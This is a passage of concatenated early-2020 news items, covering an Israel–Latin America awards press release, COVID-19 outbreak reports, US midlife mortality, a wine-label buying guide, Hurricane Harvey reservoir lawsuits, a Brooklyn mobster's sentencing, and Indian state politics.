Pouanu added that bringing in the snow kept dozens of employees working throughout the resorts busiest season. ILAN is a non-profit organization that aims to bring together and share knowledge, progress and experiences, and promote communication, economic and social development through close collaboration between Israel, Mexico and various countries in Latin America, seeking to increase the great opportunities that each region has by providing solutions that positively impact and benefit the economy and welfare of society locally, regionally and globally. The Prime Minister of Israel learned directly from the Founder and President of ILAN about the actions that the organization carries out continuously from Mexico, among these currently: Trips by delegations from Mexican companies with goals and work agendas in which they meet businessmen and experts in Israel in various sectors, to contribute to the learning, experience and growth of projects with high social impact. in various sectors, to contribute to the learning, experience and growth of projects with high social impact. The first edition of the ILAN Awards, inspired by Shimon Peres , which was held on January 16, 2020 in Mexico City . The following Mexican companies received awards in seven categories: EDUCATION: Ernesto Peralta Q.A.C . Educational Unit HEALTH: Laboratorios Biomedica de Referencia for their Liver Health Campaign COMMUNICATION: The "Soy Incorruptible" ("I am Incorruptible") campaign, carried out by Metro CDMX Metro and Consejo de la Comunicacion (Communication Council). ENVIRONMENT: DerTek, a sustainable company, dedicated to the production and sale of advanced biofuels. TECHNOLOGY: The Dow company, which developed the world's first road made partially from recycled plastic. SOCIAL TRANSFORMATION: Rutopia, a community of travelers who live unique experiences offered by local hosts in indigenous communities throughout Mexico . PEACE: Reinserta, an organization that seeks to break the cycles of crime and violence by working with the prison system, contributing to building a safer Mexico with programs for children born and living in prisons. "We both have great responsibilities and goals to accomplish and I am very grateful for the support of a country that is globally recognized for its constant innovationI am sure we will achieve them together," said Assa. "Governments, businesses, civil society organizations and academia must work collaboratively to find efficient and sustainable solutions at the national, regional and global levels," he added. For more information, please visit http://ilan.lat/ Press contact: Lizette Weber +52948215, ext.137 [email protected] Maria Yanez +5252948215, ext. 139 [email protected] www.lizetteweber.com Photo - https://mma.prnewswire.com/media/1093153/ILAN_1.jpg Logo - https://mma.prnewswire.com/media/1093154/ILAN.jpg SOURCE ILAN, Israel-Latin American Network Related Links http://ilan.lat/ The road leading to a "Shincheonji" church in Gwangju is blocked as more than half of South Korea's coronavirus cases are traced to Shincheonji followers. Shincheonji is a pseudo-Christian religion primarily practiced in South Korea. Yonhap A homegrown religious group is drawing a growing spotlight and suspicion as a hotbed for coronavirus outbreaks, as more than half of the nation's confirmed cases are traced to its worshipers. The Korea Center for Disease Control and Prevention (KCDC) said Friday that 98 of the country's 156 confirmed cases of the COVID-19 virus are linked to members of the group, which goes by the name of Shincheonji Church of Jesus, Temple of the Tabernacle of the Testimony, and people who came into contact with them. The quarantine authorities are paying attention to the nation's 31st patient, identified only as a 61-year-old woman who tested positive for the new coronavirus on Tuesday. Patient No. 31, a Shincheonji follower, reportedly visited the Daegu church four times in total before and after she felt symptoms of the coronavirus infection. Daegu, a metropolis of 2.4 million people about 300 kilometers southeast of Seoul, and the surrounding North Gyeongsang Province had remained free from coronavirus infection until patient No. 31's case was announced. Since Tuesday, however, the Daegu-North Gyeongsang area has reported as many as 111 infections. The region is known as a stronghold of the Shincheonji church, which was founded by South Korean man Lee Man-hee in 1984 and now claims to have more than 200,000 adherents globally. From 2014 to 2017, Americans life expectancy went down after about 60 years of largely going up. The reason for that is even more concerning: rising death rates for Americans in the 25-to-64 age group. In the past, researchers traced the trend of more young people dying to largely white, rural areas. But a recent study shows younger Americans are dying more frequently in every racial and ethnic group in all areas of the country. The Centers for Disease Control and Prevention announced that the 2018 life expectancy actually went up from 78.6 years to 78.7 years. But experts caution that the shift from one year to the other is not enough to discount overall worrying trends, like deaths in young people. From 2010 to 2017, more than 33,000 people have died in the United States in ages 25 to 64 than if mortality rates stayed the same or decreased. In general terms, that rate went up from 328.5 deaths for every 100,000 people between 25 and 64 in 2010 to 348.2 deaths for every 100,000 people seven years later. That was particularly high for those in the 25-to-34 age range, the youngest part of the midlife bracket. Deaths for young adults went up 29 percent from 2010 to 2017. The mid-life group appears to be disproportionately affected by deaths in the last decade, as researchers said mortality rates are actually getting better for children and older adults. Its just the people in this middle group that continue to die more frequently. Researchers say the causes for death are so varying that the increasing mortality rates cant simply be blamed on one thing. They include drug overdoses, alcohol abuse, suicides and physical conditions like heart disease, strokes and chronic obstructive pulmonary disease. But not any one thing is the root cause, scientists say. Theyre so diverse that it makes us think something systemic is responsible and is expressing itself in our health in many different domains, said Dr. Steven Woolf, the lead author on the report, in an interview with NBC News. While the increasing midlife death rates are affecting all areas of the country, the largest increases are centered in two geographic areas: New England and the Ohio Valley. About a third of all midlife excess deaths from 2010 to 2017 occurred in West Virginia, Ohio, Indiana and Kentucky, areas in which the opioid crisis is keenly felt. Worse still, America represents an exception to the rule when compared with other wealthy and developed countries. This is particularly shocking when considering that the United States has the highest per capita health spending in the world, reports The New York Times. Although the study focused only on parts of the last decade, the United States began experiencing higher excess deaths than other countries as early as the 1970s, according to Woolf. This is a distinctly American phenomenon, he told NBC News. While the results of the study depict a devastating trend, they yield as many questions as they answer. How can America improve? Some say the answer lies in America itself. After all, life expectancy in the coastal metro areas on the East and West coasts has still improved at about the same amount as Canada. Perhaps the next question is what can be gleaned from those areas such as New Hampshire and West Virginia, where some of the highest increases in mortality rates have occurred. The overall trends are disturbing, and the reasons need to be better identified to shape public policy and reverse those trends. Tampa Bay Times CHICO, Calif. Enloe Medical Center is kicking off a new dog walking program. Walking is one of the best activities people can do for their health, and now folks have another opportunity to be active thanks to Enloes new Walk with a Dog program. People of all ages and abilities are invited to meet four of Enloe Medical Centers canine caregivers: Ellie, a rehab therapy dog, Carson, an Enloe volunteer through P.A.W.S., Winston, a behavioral health therapy dog, and Enloe, the beloved cancer-sniffing dog. RELATED: Differences between service and therapy dogs Walks will take place at DeGarmo Park from 9 to 10 a.m. beginning March 7 and every Saturday thereafter through April 25. At each event, Enloe said attendees will learn about the featured canine caregiver, how each pup helps the community and more as they take a few laps around DeGarmo. The first walk features Enloe, the cancer-sniffing dog purchase by Enloe Medical Center to support the research of In Situ Foundation. Traci Hunt, the director of the Enloe Regional Cancer Center and one of the pups owners, will join the canine to talk about his training and the impact it has on local families. Attendees will also get a chance to donate samples of exhaled breath if desired. Hunt hopes people will take the opportunity to do so. "It's a very simple process," Hunt said. "It's just a matter of being able to wear a surgical mask for 10 minutes and answer a simple questionnaire. Enloe actually needs more healthy samples than unhealthy ones to keep his skills honed, so people can make a big difference." For more details on the program schedule, CLICK HERE. Students, even at a young age are under a lot of stress these days. The amount of pressure that is put on them by the family, teachers and the society at large to be the best is something that takes a toll on their overall well being. In the mad rush between tuition classes to school and more tuition classes and home works, others like little to no attention is given for extracurricular activities and their other interests. BCCL Now Rajasthan has come up with a unique concept that other states can also follow. On Thursday, while delivering his budget speech, Rajasthan Chief Minister Ashok Gehlot said that Saturdays will be No-Bag Day for students of government schools across the state. BCCL According to Gehlot, there would be no studies on Saturdays, activities related to happiness therapy, literature, and culture, sports, personality development, moral values, scout, tips to stay healthy, etc shall be organised for the students. Also, parent-teacher meetings would be held on Saturdays to enable the school teachers to update the parents on their wards' academic performance. In November the Rajasthan School Education department decided to introduce integrated books in primary classes, with an aim to reduce the weight of school bags. These integrated books, called Aao Khelen will have the subjects of English, Hindi, and Maths of Class I and II divided into three parts chapter-wise. Part one of all the subjects will be unified in one book and a similar pattern will be followed in the other two parts as well. Similarly, books of Class III of English, Hindi, Mathematics, and Environment have been divided into three parts and each part is consolidated in one book. BCCL According to a 2018 study, students in India are under stress unlike ever before. Psychological concerns in children are on the rise, especially behavioural issues and suicides. 12 percent of Indian students between the age of 4 and 16 suffer from psychiatric disorders. 20 percent show signs of mental disorders, out of which 2-5 percent have serious concerns like autism or bipolar disorder. Another study had found that every day, 6.23 students commit suicide due to peer pressure. BCCL Academic stress also could cause other mental health issues like anxiety, low self-esteem, lack of confidence, etc. Mental health experts have warned that this is a crisis that is waiting to explode if it is not taken care of. Many have also pointed out that how parents ignoring the behavioural changes of their children could deepen the crisis. Source: Xinhua| 2020-02-21 18:26:12|Editor: huaxia Video Player Close BEIJING, Feb. 21 (Xinhua) -- The State Council, China's cabinet, announced the appointment of two senior officials on Friday. Li Zhong was appointed vice minister of human resources and social security, and Zhao Zeliang will serve as deputy head of the Cyberspace Administration of China. Wine aisles can be a chaotic storm, often confusing happy shoppers and clouding their thoughts with flashy labels and an overload of bottles in one place. A great wine shop, like Edmunds Oast Exchange in Charleston, South Carolina, makes a world of a difference when it comes to education, as wines are grouped together by region and also by grape varietals. However, when shopping in supermarkets and larger retail stores where organization and education isnt top of mind, knowing how to read a label can drastically help you find a wine thats right for you.A good back label design can hold a lot of valuable information on the grape(s), blend, fermentation practices, cellaring and chemistry of a winefeeds the (cork dorks) geeks who love data, says Adam Sager, Co-President of Winesellers, Ltd. Producers shouldnt hide behind the notion that vineyard information is proprietary, he adds. Unless a winery is making vast quantities of wine from dozens of growers, stating the vineyard the grapes came from can be a fantastic tool for wine lovers looking to learn more. RELATED: Why Wine Pairing Is Overrated Beyond seeking a red wine, white wine, rose and bubbles, you can really start to pick and choose bottles based on preferred characteristics. A dry Riesling from Germany; a juicy, meaty Cab from Napa; a plush red, fruity Rioja from Spainand from there, start relationships with individual winemakers. Its easy to stick to the tried and true favorites, but there are so many fun bottles out there so study up with notes from a couple of our knowledgeable wine experts below, have fun, and explore! What A Wine Label Can Tell You I always love trying new wines but it can be challenging taking a risk on a new bottle. I totally get it, but thankfully the front and back label hold a bevy of helpful information when it comes to choosing something your palate will enjoy. The back label will often show sensory characteristics (aroma, taste, and color), winery background information, and sometimes food pairings, says Sager. The back labels of the wine bottle are the most effective ways to influence consumer choice besides with the packaging, he adds. The producer name is either obvious in large font or in small text at the top or the bottom of the label it depends on the region and origin of the wine. Story continues Old World vs. New World This isnt just a fancy term that sommeliers toss around but more so a geographic term. Old world wines are wines produced in countries such as France, Spain, Austria, Italy, Portugal, Greece, Hungary, and Germanycountries where winemaking originated from. Old world wines typically have a lengthy history and strict guidelines of how the wine is made. Some of the most standout old world wines are Bordeaux, Champagne, Burgundy, Rioja, and Chianti. New world wines stem from new world regions like the U.S., New Zealand, South Africa, Australia, Chile, and Argentinabasically everything thats not considered old world. These include wines like big and bold Napa Cabs, Chardonnay, Shiraz, Zinfandel and Pinot Noir. Tip: new world wines are often fuller bodied and contain higher alcohol content. WATCH: What Is Orange Wine? What's AVA? This refers to the American Viticultural Area and, in a nutshell, tells you where grapes come from. A wine from a larger region is typically a value wine whereas a wine from a specific vineyard site often indicates a higher quality regional designation (i.e. California vs. Santa Lucia Highlands AVA), says Sagernoting that the more specific the AVA gets the more expensive the bottle. For example, Zuccardi Valle de Uco Parage Altamirathats the Altamira vineyard within the the Uco Valley appellation within Mendoza, Argentina. The Trio of Letters on a Label Stickers or labels with a trio of letters like PDO, DOC, AOP and so on are quality contol restrictions. Each country has its own version. These can be an indicator of quality but do not guarantee it, says Chris Tanghe, Master Sommelier and Chief Instructor at GuildSomm.com. In other words dont get too caught up on these markers. Recent trends are also bottling under a very generic and loose category for creative freedom in the production process such as Vin de Francea designation for French table wine. A Vintage Means a YearBut Each Vintage is Completely Different Youll hear winemakers, sommeliers and fancy wine drinkers drop the term vintage often. This is referring to the year the grapes were harvested for said bottle. Each vintage is truly a different bottle of wine, notes Sager. Dont expect the 2015 Tortoise Creek Merlot to taste the same as the 2016 Tortoise Creek Merlot, he says, noting that non vinttage (NV) wines or multi-vintage wines are lower in value due pulling from multiple vintages to control the flavor. You probably wont galavante around your household talking about what vintage youre drinking to your friends, but its beneficial to look for the year on the bottle when seeking a more quality wine. Areas that struggle with moisture, pressure, and/or cold are ones to watch out for in terms of shifts in quality from vintage to vintage such as Bordeaux, Loire, and Burgundy, stays Tanghe. Warmer areas are typically more reliable, but any good producer can still make good wine in a tough vintage. When You Know What a Vintage is, Try a Vertical Tasting This is a fun term to drop and a fun activity to do with friends. A vertical is when you line up several different vintages of the same wine and taste side by side. Its a great way to truly see how unique each year can be in terms of grapes and how different one year can taste from another. From there you can start to learn about good years and bad years for wine in specific regionssolely based on wines youre into. ABV (Alchol by Volume) is a Key Factor When Buying Wine When buying wine defintely keep the ABV (Alcohol by Volume) in mind. In America, ABVs can be quite high (up to 17% on some wines) and the alcohol level is an indication of how rich/big the wine may taste, says Sager. Many higher alcohol wines are made from riper grapes and tend to have more fruit forward flavors, he adds. But there are certain exceptions like Grenache, Zinfandel and Amarone, which Tanghe notes having different growing cycles and are naturally higher in ABV. You won't be even thinking about alcohol when you drink them though because they carry it so well and it gives them great texture, he adds. If seeking something lighter and easier to drink, you now know to seek a wine with a lower AVB. One great time to look at the ABV is when you're buying German Riesling and are unsure if it will have residual sugar or not10% and below will definitely have a slight sweetness to it, Tanghe notes. Dont Get Caught Up on Sulfites This is another buzz word in the wine media these days and is way overblown, says Tanghe. Theres lots of banter on avoiding sulfites when it comes to wine, but Tanghe notes the amount of sulphur used in winemaking is minimal but crucial in protecting it from spoiling, oxidizing, and much more. It ensures that the wine is in top form when you open it, and keeps it brighter and fresher for longer, he adds. Remember that wine is an agricultural product that needs to be treated like other delicate produce. And while many people claim sulfites give them headaches, well, thats just the alcohol in generalso dont blame the sulfites after consuming an entire bottle of wine! "Brut" Basically Means Sugar Many think brut means a type of bubbly but the term is actually just referring to the amount of sugar added to sparkling wine, which helps balance acid. The wine will still taste dry because the acid diminishes the perception of sugar and vice versa, says Tanghe. The amount of sugar is tiny and is really necessary to create a delicious balance on the palate, so don't let a little sugar scare you, he adds. When shopping for bubbles, a Brut Champagne simply means its a drier style wine with A LITTLE SUGAR... Anything labeled Demi-sec or doux will be sweet, however. And as stated in our sparkling wines that arent Champagne guide, low or no dosage equals wines containing 3 grams or less of sugar per liter. On labels, skim for Brut Nature, Brut Zero, and Low -or No-dosage. Reserve Wines = Aged Wines The wine will have seen more aging before the producer released it, and will show more savory and exotic character on the nose and palate, says Tanghe. Younger wines show more fruit while older wines offer a much broader spectrum of organoleptic diversity. Most winemakers hold on to reserve bottles vs. seling immediately, therefore holding a higher price tag. Some producers use the term as label trickery but for reputable winemakers and wineries reserve wines are a way to showcase their best product. Document Your Wine Labels Keep track of what you drink and always snap a pic of labels for future reference. Take pictures of labels of wines that you like so that you can use those while talking to a sommelier to help them find a new wine that you'll like, says Tenghe. This will help you step outside the box and try new producers and even new wines youve never experienced. China on Thursday touted a big drop in new virus infections as proof its epidemic control efforts are working, but the toll grew abroad with deaths in Japan and South Korea. Fatalities in China hit 2,118 as 114 more people died, but health officials reported the lowest number of new cases in nearly a month, including in hardest-hit Hubei province. More than 74,000 people have been infected by the new coronavirus in China, and hundreds more in over 25 countries. The number of deaths outside mainland China climbed to 11. Japan's toll rose to three as a man and a woman in their 80s who had been aboard a quarantined cruise ship died, while fears there mounted over other passengers who disembarked the Diamond Princess after testing negative. South Korea reported its first death, and the number of infections in the country nearly doubled Thursday to 104. Iran reported two deaths on Wednesday and three new cases Thursday. Deaths have previously been confirmed in France, the Philippines, Taiwan and Hong Kong. Chinese officials say their drastic containment efforts, including quarantining tens of millions of people in Hubei and restricting movements in cities nationwide, have started to pay off. Chinese President Xi Jinping spoke by phone about the virus with leaders in South Korea and Pakistan, state agency Xinhua said. South Korean President Moon Jae-in "chose to call to express sympathies and support" regarding the outbreak, Xinhua said. Xi told him the epidemic's impact on bilateral ties will only be temporary. Xi told Pakistani Prime Minister Imran Khan that their two countries "are true friends and good brothers," and that combating the virus is his government's top priority. At a special meeting on the virus with Southeast Asian countries in Laos, China's Foreign Minister Wang Yi said results "show that our control efforts are working." Although more than 600 new infections were reported Thursday in Hubei's capital Wuhan, it was the lowest daily tally since late January and well down from the 1,749 new cases the day before. The national figure has fallen for three straight days. Chinese authorities placed the city of 11 million under quarantine on January 23 and quickly locked down the rest of the province in the days that followed. Wuhan authorities this week carried out door-to-door checks on residents, with the local Communist Party chief warning that officials would be "held accountable" if any infections were missed. Cities far from the epicentre have limited the number of people who can leave their homes for groceries, while rural villages have sealed off access to outsiders. In Japan, critics slammed the government's quarantine measures imposed on the Diamond Princess. The huge vessel moored in Yokohama is the biggest coronavirus cluster outside the Chinese epicentre, with 634 cases confirmed among passengers and crew. Another 13 people on board the ship were diagnosed with the virus Thursday, Japan's health ministry said. Still, passengers were disembarking after negative tests and having completed a 14-day quarantine period -- packing into yellow buses and leaving for stations and airports. An infectious diseases specialist at Kobe University slammed the quarantine procedures on board as "completely chaotic" in rare criticism from a Japanese academic. "The cruise ship was completely inadequate in terms of infection control," said Kentaro Iwata in videos he has since deleted. South Korea, meanwhile, announced 51 new cases, with more than 40 in a cluster centred on the Shincheonji Church of Jesus, an entity often seen as a cult. The infections apparently came from a 61-year-old woman who first developed a fever on February 10 and attended at least four services before being diagnosed. Authorities were investigating whether she visited a hospital where a long-term patient contracted the virus and later died. Beyond Asia, citizen backlash was growing over fears of contagion. Iraq on Thursday clamped down on travel to and from neighbouring Iran, with Iraq's health ministry announcing people in Iran were barred from entering the country "until further notice." The move came after Iran confirmed three new coronavirus cases following the deaths of two elderly men. And in Ukraine, a crowd clashed with police outside a hospital over government plans to quarantine evacuees from coronavirus-hit China at the site. Six buses with the evacuees arrived at the medical center in Novi Sanzhary, in the central Poltava region, escorted by police. Angry demonstrators lit fires and pelted the buses with rocks, breaking at least three windows. Because of the virus outbreak, airlines operating in the Asia-Pacific region stand to lose a combined USD 27.8 billion of revenue, the International Air Transport Association said. This is the first time since 2003 that demand for air travel has declined, IATA CEO Alexandre de Juniac said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Cheri Denmon could not afford to repair her Briar Forest townhouse after it was ravaged by floodwaters stored in U.S. Army Corps reservoirs following Hurricane Harvey. Elizabeth Burnham didnt have funds to fix her art-filled Bear Creek home after it was deluged with reservoir floodwater after the same unprecedented 2017 storm. The difference between the two women both forever parted from their property is that only one may collect for her losses. Like thousands of others, both sued the Corps hoping to recoup damages under a federal law that says the government must compensate people if it temporarily uses their land to store water. The court sorted the mountain of Fifth Amendment takings lawsuits regarding Addicks and Barker reservoir flooding into two categories. Now, depending on which side of the massive earthen dams a property is, the prospects for recovering damages differ greatly. Two veteran federal judges from the specialized U.S. Court of Federal Claims in Washington, D.C. issued polar opposite rulings in the past two months. First came a December victory for property owners upstream of the dams who had water backed up on their land; then a defeat Tuesday for landowners downstream of the two reservoirs who were flooded by controlled releases from the dams. DOWNSTREAM DEFEAT: Judge dismisses downstream Harvey claims in reservoir releases, says Army Corps is not liable Flood victims like 74-year-old Denmon learned this week the government was not liable for harm caused by the dam releases. Denmon, who has been at a rehabilitation facility for an unrelated medical issue, will have to move in with family because the bank has foreclosed on her home. Burnham, who sold her home for far less than shed spent on it, could receive damages from the government because her home was in the flood pool above Addicks reservoir. The differing rulings made sense to some whove followed the cases and confounded others. UPSTREAM VICTORY: In victory for Harvey victims, Army Corps found liable for upstream damage U.S. Judge Charles F. Lettow found the Army Corps liable for knowingly and intentionally taking possession of thousands of upstream properties to contain the water in the reservoirs following the epic downpour. Using some of the same technical data on Tuesday, U.S. Judge Loren A. Smith issued an unwavering ruling noting that while he had sympathy for downstream victims, Harvey had been an act of God. No one is guaranteed perfect flood control, Smith wrote, and any damage from accumulated floodwater released from the dams was not the governments fault. Smith wrote that the two situations differed because people upstream of the reservoirs did not derive any benefit from Addicks and Barker. The very existence of the dams caused the flooding to their homes, he said. However, in the downstream case he found that property owners benefited tremendously from the project. The reservoirs and dams were built in the 1940s, in the wake of a catastrophic flood, with the explicit aim of protecting people and property in the Buffalo Bayou watershed as well as the downtown area and the Ship Channel. However, Smith wrote, the existence of the Corps projects did not mean the government owed downstream flood victims perfect flood control. They derived a benefit by being able to go about their lives for decades without flooding, but that didnt mean they could rely on that protection to be infallible. Another point the judge made was that if the reservoirs and dams had never been built, the downstream properties still would have flooded during Harvey, only the damage would have happened sooner and perhaps would have been worse. The upstream case was held for trial and is proceeding to an April hearing on damages. The Justice Department cannot appeal the ruling on liability until after Lettow rules on the damages. The downstream case was rejected on summary judgment, so the record going forward is a bit thinner, attorneys said. A Justice Department spokesman declined to comment on Smiths ruling in favor of the Corps. Ilya Somin, a law professor at George Mason University, wrote on a legal blog The Volokh Conspiracy that although the two decisions may seem contradictory, Smiths opinion outlines a strong justification for distinguishing them. Somin believes both rulings are largely correct. The gist of Somins analysis is that Smith made a convincing case that the open floodgates were not the culprit for downstream flooding because the area would have flooded anyway had the reservoirs not been in place. Somins one nagging concern is why Judge Smith did not consider the argument that waiting a few days before opening the gates would have prevented downstream flooding. Lawyers for the downstream defendants said while the ruling surprised them and they considered it a setback, they planned to push forward seeking reconsideration or an appeal. Theres a 100 percent chance we will do something, said attorney Jack McGehee. Lawyers indicated that downstream victims should expect attorneys to stick with it overall. If the downstream litigants ask the judge to reconsider, it could take another couple of months for the judge to rule again. If they appeal to the U.S. Court of Appeals for the Federal Circuit, the appellate judges could take a year or two to issue an opinion. McGehee said he and other plaintiffs counsel on the downstream legal team believe the properties below the dams could have been saved if the Army Corps had retained the water even just a few days longer. The decision to release floodwater on Aug. 28 was not necessary, they contend, even though holding onto it longer would adversely impact the upstream properties. McGehee said a supervisory manager at Addicks and Barker stated under oath that the Corps had a duty to protect people from acts of God. It wasnt Hurricane Harvey floodwater that destroyed our homes, it was water that was detained and held by the federal government, McGehee said. Richard Mithoff, another lawyer for downstream victims, said Judge Smith misunderstood the facts. With all due respect, this was not an act of God. God did not open the flood gates, the government did, he said. This was an act of man. The judge may have been misled, he said, by the incorrect notion that Harveys floodwaters were uncontrollable and overwhelmed the systems capacity. He noted that the chief of engineering and construction for the Corps had concluded the structural integrity of the dams was not threatened. Another lawyer on the team, Rand Nolen, said where Judge Smith parted from his prior ruling, favoring flood victims on the Mississippi, was in concluding that the dams could fail if the gates werent opened. Where he goes wildly off course is he says is the water was uncontrollable, Nolen said. It was completely controlled until they let it out. Judge Smith knows the law well, according to Mithoff. In the past, he ruled that flood victims can be compensated even when the flooding is an act of God. In a January 2019 opinion in Alford v. United States, he found the government intentionally detained water to protect communities along the Mississippi, and when people were flooded when the dam was breached they were entitled to compensation. Nolen said the Corps knew when it closed the floodgates during Harvey, upstream property owners would flood. Then absent any information that the dams were failing, Corps officials made the decision to open the gates and unleash the stored water. They were going to flood a bunch of people. It was not accidental. You have to compensate them. When they closed gates they knew upstream people would flood, Nolen said. Daniel Charest, who represents upstream clients, said the downstream plaintiffs may have lost out because they werent able to proceed to a trial phase for the judge to hear more evidence. At trial, he said, the upstream judge heard evidence that convinced him to toss the act of God argument that a storm the likes of Harvey was unanticipated by the Corps engineers. Judge Lettow actually concluded that the reservoirs were built for a theoretical storm with almost the exact amount of rain that came down during Harvey. It was not only foreseeable it was foreseen, Charest said, explaining the upstream judges ruling. He said he was surprised Judge Smith arrived at the opposite conclusion about the foreseeability of Harvey. For Denmon, the dam releases were very traumatizing and forever reshaped her life. Her house sustained $65,000 to $100,000 of damage and she had to leave it behind in December when the bank foreclosed. Many cherished belongings were unrecoverable. My life has been hell since that nightmare, she said. Elizabeth Conley contributed. gabrielle.banks@chron.com An eastern European mobster with an obsession for Yeezys lashed out at a prosecutor during his sentencing yesterday and accused the lawyer of lying. Aleksey Tsvetkov, 41, a convicted gangster and top-level member of a South Brooklyn-based criminal empire, shouted 'there are so many lies,' as the judge handed him 16-and-a-half year sentence for his 2018 racketeering conviction. Tsevtkov shouted at Assistant US Attorney Andrey Spektor 'I cant take these lies anymore!' and accusing the prosecutor of misleading jurors. He also accused Spektor of cutting deals with other gangsters so they would inform on him to get less time inside. Aleksey Tsvetkov, 41, pictured after his arrest, was convicted in 2018 for his role in a major criminal operation in South Brooklyn. He was sentenced yesterday but became disruptive, shouting at the prosecutor and accusing him of lying to jurors During his 2018 trial, prosecutors provided evidence to show how Tsvetkov (right circle) adjusted to the lucrative lifestyle This is not the first time that Spektor has accused the US justice system of not playing fair. Shortly after his conviction for racketeering in 2016, Tsvetkov, who was born in Ukraine, wrote a letter to Judge Brian Cogan claiming his jurors were anti-Russian. He also said his case was politically motivated, suggesting the move to prosecute him was directly linked to Donald Trump taking the presidency. Cogan cited Tsvetkovs violent history as he handed him the stretch, the New York Post reported. 'You have a violent, angry streak thats been there your whole life,' Cogan said. Tsvetkov was convicted with co-defendant Leonid 'Lenny' Gershman, 37, in August 2018 for racketeering, illegal gambling, loansharking, extortion, arson and marijuana distribution, after a three-week trial. Another photo shows Tsvetkov posing with a new motorcycle that he had been given as a birthday gift that Gershman and pals all chipped in for Prosecutors proved that the pair had been following orders from the former Soviet Union from 2011 to May 2017 for their criminal operations in Brooklyn, New York. They were also found to have run a massive illegal poker ring that made them up to $800,000 every night. 'Members of the criminal syndicate were linked to high-level members of Russian organized crime known as thieves in law', federal prosecutors in New York said in a statement. Both men operated a poker ring in Coney Island that raked in well over $800,000 a night while working under the former Soviet Union mob bosses from 2011 to May 2017 'The Thieves authorized syndicate members to use violence to protect their criminal activities.' During the trial, a number of methods they used to keep both their associates and rivals in check were uncovered. In Spring 2016, they instructed two others - both of whom testified at the trial - to set a Sheepshead Bay building on fire because they were running a rival gambling ring. Two residents were injured in the fire - including a 12-year-old boy. Prosecutors also showed how the pair used the proceeds from their criminal activities to fund their lavish lifestyles. One witness shared how Gershman owned a pair of grey Yeezy sneakers with a hefty price tag of $1500 - as made evident in a 2016 photo of the mobster. Witnesses also shared that the two defendants had a love for lavish vehicles. Tsvetkov drove a Porsche while his accomplice drove a BMW M5. The two also tended to sport luxurious watches including brands Piaget, Rolex and Hublot. Evidence revealed that Gershman worked with the bosses in Russia to track down the father of a man who was extorted out of more than $40,000. 'Thieves have found him . . . in Israel,' he is said to have said on a wire tap. 'They were at [his] place today.' Surveillance video also showed an August 2016 altercation where Tsvetkov brutally attacked a man and put him 'to sleep' outside of a Aces Auto Bodyshop in Gravesend. The two also pistol-whipped another victim and shattered his teeth. All for supposedly stealing cannabis from their stash house. 'Todays verdicts hold Gershman and Tsvetkov responsible for years of using intimidation, violence and their association with Russian organized crime to inflict crimes on our local communities, including carrying out beatings in broad daylight and committing arson in the dead of night, endangering the lives of tenants and New York City firefighters,' said United States Attorney Brooklyn Donoghue. Parallel to the rapid spread of coronavirus from Wuhan China to 25 countries across the globe, spread of myths and even scientific studies with no peer reviews or 'preprints' on the novel virus has become viral and is contributing to fear and panic across the globe. Even public health scientists have issued a statement condemning conspiracy theory claims on the origin of coronavirus. To combat confusions, World Health Organization stepped up and called for promotion the of scientific evidence and unity over misinformation and conjecture. Preprints Some scientific reports have linked coronavirus to AIDS, snakes, and even to pathogens from outer space. Reuters estimate that there are at least 153 studies ranging from genetic analyses, epidemiological papers, genetic analyses, and clinical reports from 675 researchers around the globe since the outbreak started. In contrast, during the SARS outbreak in 2003, such number of papers were published after more than a year from the outbreak. The outbreak, according to Tom Sheldon, a science communications specialist at Britain's non-profit Science Media Centre led to the rise of "preprints" - or a practice in which a researcher immediately posts their findings online without external checks, scrutiny or validation. This, according to Sheldon leads to misinformation, fake-news leading to fear, panic, and confusion of the public. Scientists Condemn Bogus Coronavirus Conspiracy Theory Public health scientists yesterday issued a statement published in Lancelet condemning multiple social media posts and even a scientific paper speculating the possibility that COVID-19 has no natural origin, and that the virus was bioengineered in the laboratory. The statement declared that based on studies, scientists from multiple countries overwhelmingly conclude that the 2019 new coronavirus originated from wildlife. "Conspiracy theories do nothing but create fear, rumors, and prejudice that jeopardize our global collaboration in the fight against this virus," the statement adds. It also issued support to Chinese public health workers and scientists who are in the front line of fighting the disease. Earlier, multiple media posts also claimed that coronavirus has been patented and that a vaccine is already available was debunked by Factcheck.Org, clarifying that there is no available vaccine for the 2019 novel coronavirus, and there is no patent available yet. It turned out that the patent being referred to is genetic sequence of the virus that causes SARS, or severe acute respiratory syndrome, a disease that spread to dozens of countries in 2003, and of avian infectious bronchitis virus, or IBV, which infects poultry, and was developed to prevent and control viral diseases of livestocks. WHO Steps Up to Bust Myths As fears and misconceptions rapidly spread online, World Health Organization (WHO) Director General called for promotion of scientific evidence and unity over misinformation and conjecture. Graphics featuring myths busted by the WHO were created for easy downloading and dissemination. Important and life-saving advisory such as the pneumococcal vaccine and the Haemophilus influenza type B do not provide protection against the new virus, or that there is no evidence that companion pets such as cats or dogs can be infected by coronavirus are among the those highlighted in the WHO advisory. Santwana Bhattacharya By Delhi over, the Bihar chapter has been opened with litti chokha. Not in Patna but in Delhi. No one does it quite like Narendra Modi, tweeted a colleague. True, that. One would have thought the prime minister is busy as a bee with the Trump visit (and a few other pressing national issues.) But a quick trip to an artisanal fair at Rajpath, just a stones throw away from the PMO, could hardly be a distraction. The messaging was precise and fully loaded, like the plate. And #KhemChoTrump and those harrowing trade deals, with a few concessions thrown in to please the Big Boy, can be left to the experts. Not election campaigning. Not even to Amit Shah. (Trump too, if those terrible cynical political analysts are to be believed, may be using the India visit for voter eyeballs back home.) Two consecutive defeats, Jharkhand and Delhi, so Modi is clearly taking no chances. Well, a Bihari was the BJPs projected CM face in Delhi, but out there, Nitish Kumar is the only one who looks chief ministerial, even if he heads what is now a moth-eaten outfit. So the BJP-JD(U)its in that order, never mind the CMhas declared they will go with his face. The underlying slogan being 15 years of Lalu vs 15 years of Nitish. The man needs propping. His caste base, the Kurmis, is rather small in number. On the other hand, the Yadav brotherhood may be big and muscular, but has no one who looks chief ministerial. Lalu Prasad Yadav is still in jail. If the RJD had been less dynastic in behaviour, the mercurial Raghuvansh Prasad could have been one: hes the man who single-handedly rolled out the historic NREGA during UPA-I. But then, Prasad is a Rajput, and the Yadav brotherhood may not appreciate him as a boss, so he cant win an election for the RJD. That leaves them little option but to bank on Lalus younger son, Tejaswi Yadav. Now, Tejaswi is no Kejriwal. Hes not even an Akhilesh Yadav, who has taken the trouble to mature a bit. Tejaswi can create a few anti-Nitish headlines but his arrogance and sense of entitlement makes his own party squirm in privatesomewhat like Rahul Gandhi and the Congress. Thats the skew Bihar is taking to polling. One thing thats catching 